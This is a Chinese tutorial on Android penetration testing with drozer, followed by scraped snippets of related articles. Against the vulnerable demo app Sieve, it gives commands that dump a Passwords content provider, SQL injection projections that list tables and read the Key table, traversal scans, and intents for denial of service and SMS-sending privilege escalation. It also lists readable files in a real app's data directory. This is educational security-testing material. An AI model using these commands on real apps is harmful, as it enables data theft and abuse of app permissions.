利用drozer进行Android渗透测试

一、安装与启动

  1. 安装

  第一步:从http://mwr.to/drozer下载Drozer (Windows Installer)

  第二步:在Android设备中安装agent.apk

  adb install agent.apk

  2. 启动

  第一步:在PC上使用adb进行端口转发,转发到Drozer使用的端口31415

  adb forward tcp:31415 tcp:31415

  第二步:在Android设备上开启Drozer Agent

  选择embedded server-enable

  第三步:在PC上开启Drozer console

  drozer console connect

  二、测试步骤

  1.获取包名

  dz> run app.package.list -f sieve

  com.mwr.example.sieve

  2.获取应用的基本信息

  run app.package.info -a com.mwr.example.sieve

  3.确定攻击面

  run app.package.attacksurface com.mwr.example.sieve

  4.Activity

  (1)获取activity信息

  run app.activity.info -a com.mwr.example.sieve

  (2)启动activity

  run app.activity.start --component com.mwr.example.sieve

  dz> help app.activity.start

  usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY]

  [--component PACKAGE COMPONENT] [--data-uri DATA_URI]

  [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]

  [--mimetype MIMETYPE]

  5.Content Provider

  (1)获取Content Provider信息

  run app.provider.info -a com.mwr.example.sieve

  (2)Content Providers(数据泄露)

  先获取所有可以访问的Uri:

  run scanner.provider.finduris -a com.mwr.example.sieve

  获取各个Uri的数据:

  run app.provider.query

  content://com.mwr.example.sieve.DBContentProvider/Passwords/ --vertical

  查询到数据说明存在漏洞

  (3)Content Providers(SQL注入)

  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "‘"

  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --selection "‘"

  报错则说明存在SQL注入。

  列出所有表:

  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM SQLITE_MASTER WHERE type=‘table‘;--"

  获取某个表(如Key)中的数据:

  run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/ --projection "* FROM Key;--"

  (4)同时检测SQL注入和目录遍历

  run scanner.provider.injection -a com.mwr.example.sieve

  run scanner.provider.traversal -a com.mwr.example.sieve

6 intent组件触发(拒绝服务、权限提升)

  利用intent对组件的触发一般有两类漏洞,一类是拒绝服务,一类的权限提升。拒绝服务危害性比较低,更多的只是影响应用服务质量;而权限提升将使得没有该权限的应用可以通过intent触发拥有该权限的应用,从而帮助其完成越权行为。

  1.查看暴露的广播组件信息:

  run app.broadcast.info -a com.package.name  获取broadcast receivers信息

  run app.broadcast.send --component 包名 --action android.intent.action.XXX

  2.尝试拒绝服务攻击检测,向广播组件发送不完整intent(空action或空extras):

  run app.broadcast.send 通过intent发送broadcast receiver

  (1)   空action

  run app.broadcast.send --component 包名 ReceiverName

  run app.broadcast.send --component 包名 ReceiverName

  (2)   空extras

  run app.broadcast.send --action android.intent.action.XXX

  3.尝试权限提升

  权限提升其实和拒绝服务很类似,只不过目的变成构造更为完整、更能满足程序逻辑的intent。由于activity一般多于用户交互有关,所以基 于intent的权限提升更多针对broadcast receiver和service。与drozer相关的权限提升工具,可以参考IntentFuzzer,其结合了drozer以及hook技术,采用 feedback策略进行fuzzing。以下仅仅列举drozer发送intent的命令:

  (1)获取service详情

  run app.service.info -a com.mwr.example.sieve

  不使用drozer启动service

  am startservice –n 包名/service名

  (2)权限提升

  run app.service.start --action com.test.vulnerability.SEND_SMS --extra string dest 11111 --extra string text 1111 --extra string OP SEND_SMS

  7.文件操作

  列出指定文件路径里全局可写/可读的文件

  run scanner.misc.writablefiles --privileged /data/data/com.sina.weibo

  run scanner.misc.readablefiles --privileged /data/data/com.sina.weibo

  run app.broadcast.send --component 包名 --action android.intent.action.XXX

  8.其它模块

  shell.start 在设备上开启一个交互shell

  tools.file.upload / tools.file.download 上传/下载文件到设备

  tools.setup.busybox / tools.setup.minimalsu 安装可用的二进制文件

时间: 2024-12-18 20:37:57

利用drozer进行Android渗透测试的相关文章

Android渗透测试Android渗透测试入门教程大学霸

Android渗透测试Android渗透测试入门教程大学霸 第1章  Android渗透测试 Android是一种基于Linux的自由及开放源代码的操作系统,主要用于移动设备,如智能手机.平板等.目前,大部分用户都使用的是Android系统的手机.所以,学习Android渗透测试是非常重要的.用户通过对自己的Android设备进行渗透测试,可以评估自己的系统是否安全,或者是否存在有漏洞等.本章将介绍Android渗透测试的基础知识本文选自Android渗透测试入门教程大学霸内部资料. 1.1  

Android 渗透测试学习手册 第八章 ARM 利用

第八章 ARM 利用 作者:Aditya Gupta 译者:飞龙 协议:CC BY-NC-SA 4.0 在本章中,我们将了解 ARM 处理器的基础知识,和 ARM 世界中存在的不同类型的漏洞. 我们甚至会继续利用这些漏洞,以便清楚了解整个场景. 此外,我们将研究不同的 Android root 攻击和它们在漏洞利用中的基本漏洞. 考虑到目前大多数 Android 智能手机都使用基于 ARM 的处理器,对于渗透测试人员来说,了解 ARM 及其附带的安全风险至关重要. 8.1 ARM 架构导论 AR

Android 渗透测试学习手册 第三章 Android 应用的逆向和审计

第三章 Android 应用的逆向和审计 作者:Aditya Gupta 译者:飞龙 协议:CC BY-NC-SA 4.0 在本章中,我们将查看 Android 应用程序或.apk文件,并了解其不同的组件. 我们还将使用工具(如 Apktool,dex2jar 和 jd-gui)来逆向应用程序. 我们将进一步学习如何通过逆向和分析源代码来寻找 Android 应用程序中的各种漏洞. 我们还将使用一些静态分析工具和脚本来查找漏洞并利用它们. 3.1 Android 应用程序拆解 Android 应

说说Android渗透测试工具—zANTI

zANTI是一款Android平台下的渗透测试工具,支持嗅探已连接的网络,支持中间人攻击测试.端口扫描.cookie获取.路由安全测试等操作.这款工具非常强大,从2.0开始,所有高级功能全部开放.根据机友要求,添加DS渗透工具箱.新增插件包,PDF指南. 本站提供安全工具.程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负! 软件名称:zANTI – Android Network 汉化作者:斐鸽 测试机型:小米二开发版 发帖前纠结半天!前两天还在关注dsploit和zanti……结果

Android 渗透测试学习手册 翻译完成!

原书:Learning Pentesting for Android Devices 译者:飞龙 在线阅读 PDF格式 EPUB格式 MOBI格式 代码仓库 赞助我 协议 CC BY-NC-SA 4.0

Nexus设备渗透测试平台 – Kali Linux NetHunter

NetHunter是一个基于Kali Linux为Nexus设备构建的Android渗透测试平台,其中包括一些特殊和独特的功能.NetHunter支持无线802.11注入,一键MANA AP搭建,HID键盘(类Teensy攻击)以及BadUSB MITM攻击测试.你只需拥有一台Nexus 5, Nexus 6, Nexus 7, Nexus 9, Nexus 10或OnePlus即可玩耍. 功能特性 802.11无线注入和AP模式支持,支持多种USB无线网卡 能够进行USB HID键盘攻击测试

搭建渗透测试环境选自KaliLinux无线网络渗透测试教程

第1章搭建渗透测试环境 许多提供安全服务的机构会使用一些术语,如安全审计.网络或风险评估.以及渗透测试.这些术语在含义上有一些重叠,从定义上来看,审计是对系统或应用的量化的技术评估.安全评估意为对风险的评测,是指用以发现系统.应用和过程中存在的漏洞的服务.渗透测试的含义则不只是评估.它会用已发现的漏洞来进行测试,以验证该漏洞是否真的存在.本章将介绍搭建渗透测试环境.选自KaliLinux无线网络渗透测试教程 1.1  什么是渗透测试 渗透测试并没有一个标准的定义.国外一些安全组织达成共识的通用说

基于Android设备的 Kali Linux渗透测试教程(内部资料)

试读样章下载地址:http://pan.baidu.com/s/1hqgPu3U 前  言 Kali Linux是业内最知名的安全渗透测试专用操作系统.它的前身就是业界知名的BackTrack操作系统.BackTrack在2013年停止更新,转为Kali Linux.Kali Linux集成了海量渗透测试.攻击等专用工具.通过系统更新,用户可以快速获取最新的各类工具.所以,Kali Linux是渗透测试专业人员的不二选择. 由于渗透目标多样化,使用传统形式的电脑PC或者笔记本并不是很方便.而智能

Android恶意代码分析与渗透测试

这篇是计算机类的优质预售推荐>>>><Android恶意代码分析与渗透测试> 从环境构建到分析,涵盖服务体系全过程:以线上线下技巧为基础,展现虚拟环境渗透测试真方法 编辑推荐 从环境构建到分析,涵盖服务体系全过程 以线上/线下技巧为基础,展现虚拟环境渗透测试真方法 内容简介 本书由"恶意代码分析"和"移动服务诊断"两大主题组成.各章节包含了分析步骤,作者们还亲自编写了黑客大赛应用程序试题,读者可以借此复习学过的内容. Androi